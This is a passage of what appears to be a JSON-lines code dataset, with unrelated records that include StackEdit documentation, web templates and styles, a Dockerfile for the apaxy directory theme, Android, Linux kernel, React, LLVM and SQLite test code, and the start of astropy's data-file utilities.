navigation bar.\n\n\n# Files\n\nStackEdit stores your files in your browser, which means all your files are automatically saved locally and are accessible **offline!**\n\n## Create files and folders\n\nThe file explorer is accessible using the button in left corner of the navigation bar. You can create a new file by clicking the **New file** button in the file explorer. You can also create folders by clicking the **New folder** button.\n\n## Switch to another file\n\nAll your files and folders are presented as a tree in the file explorer. You can switch from one to another by clicking a file in the tree.\n\n## Rename a file\n\nYou can rename the current file by clicking the file name in the navigation bar or by clicking the **Rename** button in the file explorer.\n\n## Delete a file\n\nYou can delete the current file by clicking the **Remove** button in the file explorer. The file will be moved into the **Trash** folder and automatically deleted after 7 days of inactivity.\n\n## Export a file\n\nYou can export the current file by clicking **Export to disk** in the menu. You can choose to export the file as plain Markdown, as HTML using a Handlebars template or as a PDF.\n\n\n# Synchronization\n\nSynchronization is one of the biggest features of StackEdit. It enables you to synchronize any file in your workspace with other files stored in your **Google Drive**, your **Dropbox** and your **GitHub** accounts. This allows you to keep writing on other devices, collaborate with people you share the file with, integrate easily into your workflow... The synchronization mechanism takes place every minute in the background, downloading, merging, and uploading file modifications.\n\nThere are two types of synchronization and they can complement each other:\n\n- The workspace synchronization will sync all your files, folders and settings automatically. This will allow you to fetch your workspace on any other device.\n\t> To start syncing your workspace, just sign in with Google in the menu.\n\n- The file synchronization will keep one file of the workspace synced with one or multiple files in **Google Drive**, **Dropbox** or **GitHub**.\n\t> Before starting to sync files, you must link an account in the **Synchronize** sub-menu.\n\n## Open a file\n\nYou can open a file from **Google Drive**, **Dropbox** or **GitHub** by opening the **Synchronize** sub-menu and clicking **Open from**. Once opened in the workspace, any modification in the file will be automatically synced.\n\n## Save a file\n\nYou can save any file of the workspace to **Google Drive**, **Dropbox** or **GitHub** by opening the **Synchronize** sub-menu and clicking **Save on**. Even if a file in the workspace is already synced, you can save it to another location. StackEdit can sync one file with multiple locations and accounts.\n\n## Synchronize a file\n\nOnce your file is linked to a synchronized location, StackEdit will periodically synchronize it by downloading/uploading any modification. A merge will be performed if necessary and conflicts will be resolved.\n\nIf you just have modified your file and you want to force syncing, click the **Synchronize now** button in the navigation bar.\n\n> **Note:** The **Synchronize now** button is disabled if you have no file to synchronize.\n\n## Manage file synchronization\n\nSince one file can be synced with multiple locations, you can list and manage synchronized locations by clicking **File synchronization** in the **Synchronize** sub-menu. This allows you to list and remove synchronized locations that are linked to your file.\n\n\n# Publication\n\nPublishing in StackEdit makes it simple for you to publish online your files. Once you're happy with a file, you can publish it to different hosting platforms like **Blogger**, **Dropbox**, **Gist**, **GitHub**, **Google Drive**, **WordPress** and **Zendesk**. With [Handlebars templates](http://handlebarsjs.com/), you have full control over what you export.\n\n> Before starting to publish, you must link an account in the **Publish** sub-menu.\n\n## Publish a File\n\nYou can publish your file by opening the **Publish** sub-menu and by clicking **Publish to**. For some locations, you can choose between the following formats:\n\n- Markdown: publish the Markdown text on a website that can interpret it (**GitHub** for instance),\n- HTML: publish the file converted to HTML via a Handlebars template (on a blog for example).\n\n## Update a publication\n\nAfter publishing, StackEdit keeps your file linked to that publication which makes it easy for you to re-publish it. Once you have modified your file and you want to update your publication, click on the **Publish now** button in the navigation bar.\n\n> **Note:** The **Publish now** button is disabled if your file has not been published yet.\n\n## Manage file publication\n\nSince one file can be published to multiple locations, you can list and manage publish locations by clicking **File publication** in the **Publish** sub-menu. This allows you to list and remove publication locations that are linked to your file.\n\n\n# Markdown extensions\n\nStackEdit extends the standard Markdown syntax by adding extra **Markdown extensions**, providing you with some nice features.\n\n> **ProTip:** You can disable any **Markdown extension** in the **File properties** dialog.\n\n\n## SmartyPants\n\nSmartyPants converts ASCII punctuation characters into \"smart\" typographic punctuation HTML entities. For example:\n\n| |ASCII |HTML |\n|----------------|-------------------------------|-----------------------------|\n|Single backticks|`'Isn't this fun?'` |'Isn't this fun?' |\n|Quotes |`\"Isn't this fun?\"` |\"Isn't this fun?\" |\n|Dashes |`-- is en-dash, --- is em-dash`|-- is en-dash, --- is em-dash|\n\n\n## KaTeX\n\nYou can render LaTeX mathematical expressions using [KaTeX](https://khan.github.io/KaTeX/):\n\nThe *Gamma function* satisfying $\\Gamma(n) = (n-1)!\\quad\\forall n\\in\\mathbb N$ is via the Euler integral\n\n$$\n\\Gamma(z) = \\int_0^\\infty t^{z-1}e^{-t}dt\\,.\n$$\n\n> You can find more information about **LaTeX** mathematical expressions [here](http://meta.math.stackexchange.com/questions/5020/mathjax-basic-tutorial-and-quick-reference).\n\n\n## UML diagrams\n\nYou can render UML diagrams using [Mermaid](https://mermaidjs.github.io/). For example, this will produce a sequence diagram:\n\n```mermaid\nsequenceDiagram\nAlice ->> Bob: Hello Bob, how are you?\nBob-->>John: How about you John?\nBob--x Alice: I am good thanks!\nBob-x John: I am good thanks!\nNote right of John: Bob thinks a long
    long time, so long
    that the text does
    not fit on a row.\n\nBob-->Alice: Checking with John...\nAlice->John: Yes... John, how are you?\n```\n\nAnd this will produce a flow chart:\n\n```mermaid\ngraph LR\nA[Square Rect] -- Link text --> B((Circle))\nA --> C(Round Rect)\nB --> D{Rhombus}\nC --> D\n```\n"} +{"text": "{{#extend \"layout\"}}\n\n{{#replace \"body\"}}\n\n
    \n

    {{ sheet.name }}

    \n

    {{ sheet.description }}

    \n \n

    \n edit\n api\n

    \n \n \n \n \n \n {{#each headers}}\n \n {{/each}}\n \n \n \n {{#each sheet.rows}}\n \n \n {{#each this}}\n \n {{/each}}\n \n {{/each}}\n \n
    \n \n \n {{this}}\n
    \n {{plus1 @index}}\n \n {{this}}\n
    \n
    \n\n\n\n{{/replace}}\n\n{{/extend}}\n"} +{"text": "@import \"../../global\";\n\n.api-result-retry {\n\tfloat: right;\n\tclear: both;\n}\n\n.api-result-log {\n\tbackground-color: #ddd;\n\tpadding: 5px 10px;\n\tcolor: #111;\n\tmargin: 10px 0;\n\tposition: relative;\n\n\t.api-result-method_fail {\n\t\tcolor: white;\n\t\tbackground-color: $error;\n\t\tpadding: 3px 5px;\n\t\tmargin-right: 5px;\n\t}\n\n\t.api-result-method_pass {\n\t\tcolor: white;\n\t\tbackground-color: $ok;\n\t\tpadding: 3px 5px;\n\t\twidth: 150px;\n\t\tmargin-right: 5px;\n\t}\n\n\t.dashicons {\n\t\tvertical-align: middle;\n\t\twidth: 26px;\n\t\theight: 26px;\n\t\tfont-size: 26px;\n\t\tpadding: 0;\n\t}\n\n\t.dashicons-no {\n\t\tcolor: $error;\n\t}\n\n\t.dashicons-yes {\n\t\tcolor: $ok;\n\t}\n\n\tpre {\n\t\tbackground-color: #ccc;\n\t\tpadding: 10px 15px;\n\t}\n\n\tpre {\n\t\tfont-family: 'Courier New', Courier, monospace;\n\t}\n\n\tcode {\n\t\tbackground-color: transparent;\n\t}\n\n\th4 {\n\t\tmargin: 0;\n\t\tmargin-top: 5px;\n\t\tfont-size: 14px;\n\t}\n}\n\n.api-result-log_details {\n\tdisplay: flex;\n\n\t> div {\n\t\twidth: 95%;\n\t}\n\n\ta {\n\t\tcolor: #111;\n\t}\n\n\ta:hover {\n\t\tfont-weight: bold;\n\t}\n\n\tpre {\n\t\twhite-space: pre-wrap; /* css-3 */\n\t\twhite-space: -moz-pre-wrap; /* Mozilla, since 1999 */\n\t\twhite-space: -pre-wrap; /* Opera 4-6 */\n\t\twhite-space: -o-pre-wrap; /* Opera 7 */\n\t\tword-wrap: break-word; /* Internet Explorer 5.5+ */\n\t}\n\n\tp {\n\t\tmargin: 0.5em 0;\n\t}\n}\n\n.api-result-hide {\n\tposition: absolute;\n\tbottom: 25px;\n\tright: 5%;\n}\n\n.api-result-select {\n\tposition: absolute;\n\tright: 10px;\n\ttop: 15px;\n\n\tspan {\n\t\tbackground-color: #777;\n\t\tcolor: white;\n\t\tpadding: 5px 10px;\n\t\tmargin-left: 10px;\n\t}\n}\n\n.api-result-header {\n\tdisplay: flex;\n\talign-items: center;\n\n\t.api-result-progress {\n\t\tmargin: 0 15px;\n\t}\n\n\t.wpl-spinner__item {\n\t\twidth: 18px;\n\t\theight: 18px;\n\t\ttop: -14px;\n\t}\n\n\t.api-result-status {\n\t\ttext-align: center;\n\t\ttop: 0;\n\t\tleft: 0;\n\t\tpadding: 5px 10px;\n\t\tbackground-color: #ddd;\n\t\tfont-weight: bold;\n\t}\n\n\t.api-result-status_good {\n\t\tbackground-color: $ok;\n\t\tcolor: white;\n\t}\n\n\t.api-result-status_problem {\n\t\tbackground-color: $yellow;\n\t}\n\n\t.api-result-status_failed {\n\t\tbackground-color: $error;\n\t\tcolor: white;\n\t}\n}\n"} +{"text": "
  • \n \n Time in milliseconds to wait before performing operation.\n
  • \n"} +{"text": "\n\n \n \n \n \n \n \n \n _count \n \n AAAAAAAAAAI= \n \n \n \n _mt_index \n \n AAAAAAAAAAM= \n \n \n \n _tree \n \n AAAAAAAAAAQ= \n \n \n \n categories \n \n \n gap/ohada/syscohada/1/19/198/1982\n \n \n \n \n id \n 1982 \n \n \n portal_type \n Category \n \n \n title \n Provisions pour renouvellement des immobilisations (entreprises concessionnaires) \n \n \n \n \n \n \n \n \n 0 \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n"} +{"text": "# bash docker image will be used for configuring apaxy\nFROM bash\n\n# set apaxyPath to the path where you want apaxy to be installed\n# by default, apaxy will be available at \"/\" (web root)\nARG apaxyPath=\"\"\n\n# copy apaxy and proceed to configuration\nWORKDIR /\nCOPY . /\nRUN bash apaxy-configure.sh -w \"${apaxyPath}\"\n\n# httpd docker image will be used for running apaxy\nFROM httpd:2.4\n\n# set apaxyPath to the path where you want apaxy to be installed\n# by default, apaxy will be available at \"/\" (web root)\nARG apaxyPath=\"\"\n\n# image labels and description\nLABEL name=\"apaxy\" \\\n description=\"Apaxy is a customisable theme built to enhance the experience of browsing web directories. It uses the mod_autoindex Apache module — and some CSS — to override the default style of a directory listing\" \\\n maintainer=\"Ploc\" \\\n url=\"https://oupala.github.io/apaxy/\"\n\n# remove index.html file from original httpd image\nRUN rm /usr/local/apache2/htdocs/index.html\n\n# enable apache config to be overridden by .htaccess files\nRUN sed -i '//,/<\\/Directory>/ s/AllowOverride None/AllowOverride Options Indexes FileInfo/' /usr/local/apache2/conf/httpd.conf\n\n# define apache listen port on a port greater than 1024 to allow a non-root user to start apache\nRUN sed -i 's/Listen\\ 80/Listen\\ 8080/g' /usr/local/apache2/conf/httpd.conf\nEXPOSE 8080\n\n# create 'me' group whith gid 1000 and 'me' user in this group with uid 1000\n# see https://docs.openshift.com/enterprise/3.2/creating_images/guidelines.html#use-uid\nRUN groupadd -f -g 1000 me && \\\n useradd -u 1000 -g me me\n\n# copy apaxy directory\nCOPY --from=0 /var/www/html${apaxyPath} /usr/local/apache2/htdocs${apaxyPath}\n\nWORKDIR /usr/local/apache2/htdocs${apaxyPath}\nRUN for file_extension in 3dml 3ds 3g2 3gp 7z aac adp ai aif aifc aiff apk appcache asf asm asx atom au avi azw bat bin bmp bpk btif bz bz2 c cab caf cb7 cba cbr cbt cbz cc cgm class cmx com conf cpp css csv curl cxx dcurl deb def deploy dic diff dist distz djv djvu dll dmg dms doc docx dot dra dsc dtd dts dtshd dump dvb dwg dxf ecelp4800 ecelp7470 ecelp9600 elc eol eps epub etx exe f f4v f77 f90 fbs fh fh4 fh5 fh7 fhc flac fli flv flx fly for fpx fst fvt g3 gif gv gz gzip h h261 h263 h264 hh hpp htm html ico ics ief ifb in iso jad jar java jpe jpeg jpg jpgm jpgv jpm js json kar ktx latex list log lrf lvp m1v m2a m2v m3a m3u m3u8 m4a m4u m4v Makefile man mar markdown mcurl md mdb mdi me mid midi mj2 mjp2 mk3d mka mks mkv mmr mng mobi mov movie mp2 mp2a mp3 mp4 mp4a mp4v mpe mpeg mpg mpg4 mpga mpkg ms msi mxu n3 nfo npx odb odc odf odft odg odi odm odp ods odt oga ogg ogv opml otc otf otg oth oti otp ots ott p pas patch pbm pct pcx pdf pgm php phtml pic pkg pls png pnm pot ppm pps ppsx ppt pptx prc ps psd py pya pyv qt ra ram rar ras rb README rgb rip rlc rmi rmp roff rpm rss rtf rtx s s3m sass scss scurl sfv sgi sgm sgml sh sid sil smv snd so spot spx sql sub svg svgz t tar tex text tga tif tiff torrent tr tsv ttc ttf ttl txt udeb uri uris urls uu uva uvg uvh uvi uvm uvp uvs uvu uvv uvva uvvg uvvh uvvi uvvm uvvp uvvs uvvu uvvv vcard vcf vcs viv vob wav wax wbmp wdp weba webm webp wm wma wml wmls wmv wmx woff woff2 wvx xbm xht xhtml xif xla xlc xlm xls xlsx xlt xlw xm xml xpmxwd xsl zip; do touch example.${file_extension}; done\n\n# allow user 'me' to read apache's files\nRUN chown -R me:root /usr/local/apache2/ && \\\n chmod -R g+rwX /usr/local/apache2/\n\n# start container as me\nUSER me\n"} +{"text": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n Debug\n x64\n \n \n Release\n x64\n \n \n \n 15.0\n {09805AB7-6E91-46A3-B501-A420E56458AB}\n Win32Proj\n UserBridge\n 10.0.19041.0\n \n \n \n DynamicLibrary\n true\n v142\n Unicode\n false\n \n \n DynamicLibrary\n false\n v142\n true\n Unicode\n false\n \n \n DynamicLibrary\n true\n v142\n Unicode\n false\n \n \n DynamicLibrary\n false\n v142\n true\n Unicode\n false\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n true\n ./API/PEUtils;./API;../SharedTypes;$(IncludePath)\n \n \n true\n ./API/PEUtils;./API;../SharedTypes;$(IncludePath)\n \n \n false\n ./API/PEUtils;./API;../SharedTypes;$(IncludePath)\n \n \n false\n ./API/PEUtils;./API;../SharedTypes;$(IncludePath)\n \n \n \n NotUsing\n Level3\n Disabled\n true\n WIN32;_DEBUG;USERBRIDGE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreadedDebug\n true\n \n \n Windows\n true\n Exports.def\n \n \n \n \n NotUsing\n Level3\n Disabled\n true\n _DEBUG;USERBRIDGE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreadedDebug\n true\n \n \n Windows\n true\n Exports.def\n \n \n \n \n NotUsing\n Level3\n MaxSpeed\n true\n true\n true\n WIN32;NDEBUG;USERBRIDGE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreaded\n true\n \n \n Windows\n true\n true\n true\n Exports.def\n \n \n \n \n NotUsing\n Level3\n MaxSpeed\n true\n true\n true\n NDEBUG;USERBRIDGE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreaded\n true\n \n \n Windows\n true\n true\n true\n Exports.def\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"} +{"text": "meta.name: Keyboard (Function)\nmeta.author: Unified\nmeta.description: Function Keyboard\nmeta.tags.category: input\n"} +{"text": "/*\n * Copyright 2016 Hippo Seven\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.hippo.nimingban.content;\n\n/*\n * Created by Hippo on 11/11/2016.\n */\n\nimport android.content.ContentResolver;\nimport android.net.Uri;\nimport android.support.annotation.NonNull;\nimport com.hippo.nimingban.util.Settings;\nimport com.hippo.unifile.UniFile;\nimport java.util.List;\n\npublic class ImageProvider extends SimpleFileProvider {\n\n private static final String AUTHORITY = \"com.hippo.nimingban.image\";\n\n @NonNull\n @Override\n public String getAuthority() {\n return AUTHORITY;\n }\n\n @Override\n public UniFile getFile(Uri uri) {\n // Get dir\n UniFile dir = Settings.getImageSaveLocation();\n if (dir == null) {\n return null;\n }\n\n // Get filename\n List path = uri.getPathSegments();\n if (path == null || path.size() != 1) {\n return null;\n }\n\n return dir.findFile(path.get(0));\n }\n\n public static Uri buildUri(String filename) {\n return new Uri.Builder()\n .scheme(ContentResolver.SCHEME_CONTENT)\n .authority(AUTHORITY)\n .appendPath(filename)\n .build();\n }\n}\n"} +{"text": "/*\n * RTC subsystem, initialize system time on startup\n *\n * Copyright (C) 2005 Tower Technologies\n * Author: Alessandro Zummo \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n*/\n\n#define pr_fmt(fmt) KBUILD_MODNAME \": \" fmt\n\n#include \n\n/* IMPORTANT: the RTC only stores whole seconds. It is arbitrary\n * whether it stores the most close value or the value with partial\n * seconds truncated. However, it is important that we use it to store\n * the truncated value. This is because otherwise it is necessary,\n * in an rtc sync function, to read both xtime.tv_sec and\n * xtime.tv_nsec. On some processors (i.e. ARM), an atomic read\n * of >32bits is not possible. So storing the most close value would\n * slow down the sync API. So here we have the truncated value and\n * the best guess is to add 0.5s.\n */\n\nstatic int __init rtc_hctosys(void)\n{\n\tint err = -ENODEV;\n\tstruct rtc_time tm;\n\tstruct timespec64 tv64 = {\n\t\t.tv_nsec = NSEC_PER_SEC >> 1,\n\t};\n\tstruct rtc_device *rtc = rtc_class_open(CONFIG_RTC_HCTOSYS_DEVICE);\n\n\tif (rtc == NULL) {\n\t\tpr_info(\"unable to open rtc device (%s)\\n\",\n\t\t\tCONFIG_RTC_HCTOSYS_DEVICE);\n\t\tgoto err_open;\n\t}\n\n\terr = rtc_read_time(rtc, &tm);\n\tif (err) {\n\t\tdev_err(rtc->dev.parent,\n\t\t\t\"hctosys: unable to read the hardware clock\\n\");\n\t\tgoto err_read;\n\n\t}\n\n\ttv64.tv_sec = rtc_tm_to_time64(&tm);\n\n\terr = do_settimeofday64(&tv64);\n\n\tdev_info(rtc->dev.parent,\n\t\t\"setting system clock to \"\n\t\t\"%d-%02d-%02d %02d:%02d:%02d UTC (%lld)\\n\",\n\t\ttm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,\n\t\ttm.tm_hour, tm.tm_min, tm.tm_sec,\n\t\t(long long) tv64.tv_sec);\n\nerr_read:\n\trtc_class_close(rtc);\n\nerr_open:\n\trtc_hctosys_ret = err;\n\n\treturn err;\n}\n\nlate_initcall(rtc_hctosys);\n"} +{"text": " {\n this.setState({ isEditImportExclusionModalOpen: true });\n }\n\n onEditImportExclusionModalClose = () => {\n this.setState({ isEditImportExclusionModalOpen: false });\n }\n\n onDeleteImportExclusionPress = () => {\n this.setState({\n isEditImportExclusionModalOpen: false,\n isDeleteImportExclusionModalOpen: true\n });\n }\n\n onDeleteImportExclusionModalClose = () => {\n this.setState({ isDeleteImportExclusionModalOpen: false });\n }\n\n onConfirmDeleteImportExclusion = () => {\n this.props.onConfirmDeleteImportExclusion(this.props.id);\n }\n\n //\n // Render\n\n render() {\n const {\n id,\n movieTitle,\n tmdbId,\n movieYear\n } = this.props;\n\n return (\n \n
    {tmdbId}
    \n
    {movieTitle}
    \n
    {movieYear}
    \n\n
    \n \n \n \n
    \n\n \n\n \n \n );\n }\n}\n\nImportExclusion.propTypes = {\n id: PropTypes.number.isRequired,\n movieTitle: PropTypes.string.isRequired,\n tmdbId: PropTypes.number.isRequired,\n movieYear: PropTypes.number.isRequired,\n onConfirmDeleteImportExclusion: PropTypes.func.isRequired\n};\n\nImportExclusion.defaultProps = {\n // The drag preview will not connect the drag handle.\n connectDragSource: (node) => node\n};\n\nexport default ImportExclusion;\n"} +{"text": "; RUN: opt -O2 -S < %s | FileCheck %s\n\n@data = common global i32* null, align 8\n\ndefine i32 @fct1(i32 %a) nounwind uwtable ssp {\nentry:\n %a.addr = alloca i32, align 4\n %res = alloca i32, align 4\n %i = alloca i32, align 4\n store i32 %a, i32* %a.addr, align 4\n %tmp = load i32, i32* %a.addr, align 4\n %idxprom = sext i32 %tmp to i64\n %tmp1 = load i32*, i32** @data, align 8\n %arrayidx = getelementptr inbounds i32, i32* %tmp1, i64 %idxprom\n %tmp2 = load i32, i32* %arrayidx, align 4\n %tmp3 = load i32, i32* %a.addr, align 4\n %add = add nsw i32 %tmp3, 1\n %idxprom1 = sext i32 %add to i64\n %tmp4 = load i32*, i32** @data, align 8\n %arrayidx2 = getelementptr inbounds i32, i32* %tmp4, i64 %idxprom1\n %tmp5 = load i32, i32* %arrayidx2, align 4\n %mul = mul nsw i32 %tmp2, %tmp5\n store i32 %mul, i32* %res, align 4\n store i32 0, i32* %i, align 4\n store i32 0, i32* %i, align 4\n br label %for.cond\n\nfor.cond: ; preds = %for.inc, %entry\n %tmp6 = load i32, i32* %i, align 4\n %tmp7 = load i32, i32* %res, align 4\n %cmp = icmp slt i32 %tmp6, %tmp7\n br i1 %cmp, label %for.body, label %for.end\n\nfor.body: ; preds = %for.cond\n %tmp8 = load i32, i32* %i, align 4\n %idxprom3 = sext i32 %tmp8 to i64\n %tmp9 = load i32*, i32** @data, align 8\n %arrayidx4 = getelementptr inbounds i32, i32* %tmp9, i64 %idxprom3\n call void @fct0(i32* %arrayidx4)\n br label %for.inc\n\nfor.inc: ; preds = %for.body\n %tmp10 = load i32, i32* %i, align 4\n %inc = add nsw i32 %tmp10, 1\n store i32 %inc, i32* %i, align 4\n br label %for.cond\n\nfor.end: ; preds = %for.cond\n store i32 0, i32* %i, align 4\n br label %for.cond5\n\nfor.cond5: ; preds = %for.inc10, %for.end\n %tmp11 = load i32, i32* %i, align 4\n %tmp12 = load i32, i32* %res, align 4\n %cmp6 = icmp slt i32 %tmp11, %tmp12\n br i1 %cmp6, label %for.body7, label %for.end12\n\nfor.body7: ; preds = %for.cond5\n %tmp13 = load i32, i32* %i, align 4\n %idxprom8 = sext i32 %tmp13 to i64\n %tmp14 = load i32*, i32** @data, align 8\n %arrayidx9 = getelementptr inbounds i32, i32* %tmp14, i64 %idxprom8\n call void @fct0(i32* %arrayidx9)\n br label %for.inc10\n\nfor.inc10: ; preds = %for.body7\n %tmp15 = load i32, i32* %i, align 4\n %inc11 = add nsw i32 %tmp15, 1\n store i32 %inc11, i32* %i, align 4\n br label %for.cond5\n\nfor.end12: ; preds = %for.cond5\n store i32 0, i32* %i, align 4\n br label %for.cond13\n\nfor.cond13: ; preds = %for.inc18, %for.end12\n %tmp16 = load i32, i32* %i, align 4\n %tmp17 = load i32, i32* %res, align 4\n %cmp14 = icmp slt i32 %tmp16, %tmp17\n br i1 %cmp14, label %for.body15, label %for.end20\n\nfor.body15: ; preds = %for.cond13\n %tmp18 = load i32, i32* %i, align 4\n %idxprom16 = sext i32 %tmp18 to i64\n %tmp19 = load i32*, i32** @data, align 8\n %arrayidx17 = getelementptr inbounds i32, i32* %tmp19, i64 %idxprom16\n call void @fct0(i32* %arrayidx17)\n br label %for.inc18\n\nfor.inc18: ; preds = %for.body15\n %tmp20 = load i32, i32* %i, align 4\n %inc19 = add nsw i32 %tmp20, 1\n store i32 %inc19, i32* %i, align 4\n br label %for.cond13\n\nfor.end20: ; preds = %for.cond13\n %tmp21 = load i32, i32* %res, align 4\n ret i32 %tmp21\n}\n\ndeclare void @fct0(i32*)\n\ndefine i32 @fct2(i32 %a) nounwind uwtable inlinehint ssp {\nentry:\n %a.addr = alloca i32, align 4\n %res = alloca i32, align 4\n %i = alloca i32, align 4\n store i32 %a, i32* %a.addr, align 4\n %tmp = load i32, i32* %a.addr, align 4\n %shl = shl i32 %tmp, 1\n %idxprom = sext i32 %shl to i64\n %tmp1 = load i32*, i32** @data, align 8\n %arrayidx = getelementptr inbounds i32, i32* %tmp1, i64 %idxprom\n %tmp2 = load i32, i32* %arrayidx, align 4\n %tmp3 = load i32, i32* %a.addr, align 4\n %shl1 = shl i32 %tmp3, 1\n %add = add nsw i32 %shl1, 13\n %idxprom2 = sext i32 %add to i64\n %tmp4 = load i32*, i32** @data, align 8\n %arrayidx3 = getelementptr inbounds i32, i32* %tmp4, i64 %idxprom2\n %tmp5 = load i32, i32* %arrayidx3, align 4\n %mul = mul nsw i32 %tmp2, %tmp5\n store i32 %mul, i32* %res, align 4\n store i32 0, i32* %i, align 4\n store i32 0, i32* %i, align 4\n br label %for.cond\n\nfor.cond: ; preds = %for.inc, %entry\n %tmp6 = load i32, i32* %i, align 4\n %tmp7 = load i32, i32* %res, align 4\n %cmp = icmp slt i32 %tmp6, %tmp7\n br i1 %cmp, label %for.body, label %for.end\n\nfor.body: ; preds = %for.cond\n %tmp8 = load i32, i32* %i, align 4\n %idxprom4 = sext i32 %tmp8 to i64\n %tmp9 = load i32*, i32** @data, align 8\n %arrayidx5 = getelementptr inbounds i32, i32* %tmp9, i64 %idxprom4\n call void @fct0(i32* %arrayidx5)\n br label %for.inc\n\nfor.inc: ; preds = %for.body\n %tmp10 = load i32, i32* %i, align 4\n %inc = add nsw i32 %tmp10, 1\n store i32 %inc, i32* %i, align 4\n br label %for.cond\n\nfor.end: ; preds = %for.cond\n store i32 0, i32* %i, align 4\n br label %for.cond6\n\nfor.cond6: ; preds = %for.inc11, %for.end\n %tmp11 = load i32, i32* %i, align 4\n %tmp12 = load i32, i32* %res, align 4\n %cmp7 = icmp slt i32 %tmp11, %tmp12\n br i1 %cmp7, label %for.body8, label %for.end13\n\nfor.body8: ; preds = %for.cond6\n %tmp13 = load i32, i32* %i, align 4\n %idxprom9 = sext i32 %tmp13 to i64\n %tmp14 = load i32*, i32** @data, align 8\n %arrayidx10 = getelementptr inbounds i32, i32* %tmp14, i64 %idxprom9\n call void @fct0(i32* %arrayidx10)\n br label %for.inc11\n\nfor.inc11: ; preds = %for.body8\n %tmp15 = load i32, i32* %i, align 4\n %inc12 = add nsw i32 %tmp15, 1\n store i32 %inc12, i32* %i, align 4\n br label %for.cond6\n\nfor.end13: ; preds = %for.cond6\n store i32 0, i32* %i, align 4\n br label %for.cond14\n\nfor.cond14: ; preds = %for.inc19, %for.end13\n %tmp16 = load i32, i32* %i, align 4\n %tmp17 = load i32, i32* %res, align 4\n %cmp15 = icmp slt i32 %tmp16, %tmp17\n br i1 %cmp15, label %for.body16, label %for.end21\n\nfor.body16: ; preds = %for.cond14\n %tmp18 = load i32, i32* %i, align 4\n %idxprom17 = sext i32 %tmp18 to i64\n %tmp19 = load i32*, i32** @data, align 8\n %arrayidx18 = getelementptr inbounds i32, i32* %tmp19, i64 %idxprom17\n call void @fct0(i32* %arrayidx18)\n br label %for.inc19\n\nfor.inc19: ; preds = %for.body16\n %tmp20 = load i32, i32* %i, align 4\n %inc20 = add nsw i32 %tmp20, 1\n store i32 %inc20, i32* %i, align 4\n br label %for.cond14\n\nfor.end21: ; preds = %for.cond14\n %tmp21 = load i32, i32* %res, align 4\n ret i32 %tmp21\n}\n\ndefine i32 @fct3(i32 %c) nounwind uwtable ssp {\nentry:\n ;CHECK-LABEL: @fct3(\n ;CHECK: call i32 @fct1\n ; The inline keyword gives a sufficient benefits to inline fct2\n ;CHECK-NOT: call i32 @fct2\n %c.addr = alloca i32, align 4\n store i32 %c, i32* %c.addr, align 4\n %tmp = load i32, i32* %c.addr, align 4\n %call = call i32 @fct1(i32 %tmp)\n %tmp1 = load i32, i32* %c.addr, align 4\n %call1 = call i32 @fct2(i32 %tmp1)\n %add = add nsw i32 %call, %call1\n ret i32 %add\n}\n\ndefine i32 @fct4(i32 %c) minsize nounwind uwtable ssp {\nentry:\n ;CHECK-LABEL: @fct4(\n ;CHECK: call i32 @fct1\n ; With Oz (minsize attribute), the benefit of inlining fct2\n ; is the same as fct1, thus no inlining for fct2\n ;CHECK: call i32 @fct2\n %c.addr = alloca i32, align 4\n store i32 %c, i32* %c.addr, align 4\n %tmp = load i32, i32* %c.addr, align 4\n %call = call i32 @fct1(i32 %tmp)\n %tmp1 = load i32, i32* %c.addr, align 4\n %call1 = call i32 @fct2(i32 %tmp1)\n %add = add nsw i32 %call, %call1\n ret i32 %add\n}\n"} +{"text": "-- boundary2.test\n-- \n-- db eval {\n-- SELECT a FROM t1 WHERE r < 9.22337303685477580800e+18 ORDER BY a DESC\n-- }\nSELECT a FROM t1 WHERE r < 9.22337303685477580800e+18 ORDER BY a DESC"} +{"text": "# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\n\"\"\"Functions for accessing, downloading, and caching data files.\"\"\"\n\nimport atexit\nimport contextlib\nimport errno\nimport fnmatch\nimport hashlib\nimport os\nimport io\nimport pathlib\nimport re\nimport shutil\nimport socket\nimport sys\nimport urllib.request\nimport urllib.error\nimport urllib.parse\nimport zipfile\nimport ftplib\n\nfrom tempfile import NamedTemporaryFile, gettempdir, TemporaryDirectory, mkdtemp\nfrom warnings import warn\n\nimport astropy.config.paths\nfrom astropy import config as _config\nfrom astropy.utils.exceptions import AstropyWarning\nfrom astropy.utils.introspection import find_current_module, resolve_name\n\n# Order here determines order in the autosummary\n__all__ = [\n 'Conf', 'conf',\n 'download_file', 'download_files_in_parallel',\n 'get_readable_fileobj',\n 'get_pkg_data_fileobj', 'get_pkg_data_filename',\n 'get_pkg_data_contents', 'get_pkg_data_fileobjs',\n 'get_pkg_data_filenames',\n 'is_url_in_cache', 'get_cached_urls',\n 'cache_total_size', 'cache_contents',\n 'export_download_cache', 'import_download_cache', 'import_file_to_cache',\n 'check_download_cache',\n 'clear_download_cache',\n 'compute_hash',\n 'get_free_space_in_dir',\n 'check_free_space_in_dir',\n 'get_file_contents',\n 'CacheMissingWarning',\n]\n\n_dataurls_to_alias = {}\n\n\nclass Conf(_config.ConfigNamespace):\n \"\"\"\n Configuration parameters for `astropy.utils.data`.\n \"\"\"\n\n dataurl = _config.ConfigItem(\n 